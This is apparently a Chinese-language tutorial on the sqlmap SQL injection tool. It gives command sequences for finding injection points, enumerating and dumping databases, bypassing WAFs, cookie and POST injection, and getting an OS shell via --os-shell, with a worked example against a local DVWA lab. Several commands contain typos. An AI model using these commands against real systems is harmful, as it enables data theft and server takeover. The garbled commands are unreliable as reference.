sqlmap工具的使用

sqlmap工具的使用:
sql注入工具:明小子,啊d、羅卜頭、穿山甲、sqlmap等等
開源自動化注入利用工具,支持的數據庫有12種,在/plugins中能夠看到支持的數據庫種類,在全部注入利用工具中他是最好的!!
支持的注入類型:bool、時間、報錯、聯合、、堆查詢、內聯
能夠獲取用戶名、密碼、權限、角色、數據庫(表、、字段、內容)
能夠爆破識別密文數據
getshell
命令執行
脫庫/刪除
 
目錄介紹:
doc介紹文檔
extra 是sqlmap額外的功能運行CMD執行命令
lib是sqlmap核心功能代碼
pluigifins 包含12種數據庫識別程序
    data 存放一些工具過程當中使用的工具或命令
    procs 包含了mssql mysql  oracle postgresql
    shell 遠程命令和後門
    txt 表名列名、ua字典
    udf 存放攻擊載荷payload
    xml 存放檢測的腳本
tamper 包含各類繞waf的處理腳本
thirdparty包含了第三方插件,顏色,優化等
 
sqlmap工做流程
(1)、初始化
(2)、開始檢測
        0>檢測以前是否注入過(會把檢測的url默認存放在家目錄中.sqlmap下的output --output-dir參數能夠指定存放的目錄)
        1>解析url,判斷該url是否可訪問
        2>檢測是否有WAF
                sqlmap -u「目錄url」 --identify-waf
                sqlmap -u "目標url"  --check-waf
        3>執行用戶輸入的參數
                -u  指定url
                -p  執行參數
                -v  執行顯示的級別
                --dbs 數據庫
                --current-db  當前數據庫
                --columns 列名
                --dump  獲取數據
                --batch 跳過問詢yes直接執行
                --DBMS 指定數據庫類型
步驟:
(1)、判斷注入點:sqlmap -u 「目標url」 當看到探測的結果中有環境參數(系統、數據庫)表示有注入
(2)、查看全部的數據庫:sqlmap -u "目標url" --dbs --dbms mysql
(3)、獲取當前的數據庫:sqlmap -u「目標url」-D 「庫名」 --dbms mysql
(4)、獲取當前數據庫下的表:sqlmap -u 「目標url」 -D「庫名」  --dbms mysql  --tatch --tables
(5)、獲取當前數據庫中指定表下的字段名:sqlmap -u「目標url」-D 庫名 -T 表名
--columns
(6)、獲取指定字段對應的內容:sqlmap -u 「目標url」 -D 庫名 -T 表名 -C 字段 -dump(多個字段名須要用,隔開)
例子:
http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#直接訪問會出現302跳轉,添加cookie
添加cookie後:python sqlmap.py -u " http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id --cookie="security=low;PHPSESSID=uuk3j8634mp29hu1vi4dimtvo4"
結果:
post型的sqlmap方法:
攔截數據包保存txt文件,post.txt
python sqlmap.py -r post.txt -p "uname"(-r 讀取指定文件,-p告訴sqlmap測試哪一個參數)
 
cookie注入:
python sqlmap.py -u 「target」 --cookie"uname=12" --level 2
python sqlmap.py -r C:\Users\Han\Desktop\post_cookie.txt --level 2
--level=LEVEL執行測試的等級(1-五、默認是1)
--level 對測試參數的影響,一共是5個等級,默認是1,sqlmap使用的payload能夠在payload.xml中看到,你也能夠根據相應的格式添加本身的payload內容,默認
 
UA注入:
僞靜態注入:python sqlmap.py -u 「url」 -v 0-6
--riskmap.py -u 「url」 -v 0-6
 
批量測試
 
sqlmap注入點執行系統命令或者交互式shell
(條件:1.數據庫有寫文件權限2.須要知道web站點的路徑)
sqlmap.py -u "target_url" --os-cmd=ipcondig  執行系統命令ipconfig
sqlmap.py -u "target_url"  --os-shell  獲取系統的shell
sqlmap.py -u "target_url"  --is-dba   判斷當前用戶是否是dba
延時注入
 
sqlmap直連mysql數據庫
sqlmap.py -d "mysql://root:root@192.168.2.101:3306/mysql" -f --banner --dbs --users
 
sqlmap注入利用access
acess數據庫沒有庫的概念。打開數據庫文件看到只有表和字段以及內容
python sqlmap.py -u "targe_url"  --tables//獲取全部的數據表
python sqlmap.py -u "target_url"  -T 表名  --columns//獲取字段
python  sqlmap.py -u"target_url" --tables //表名
sqlmap寫入文件:
相關文章
相關標籤/搜索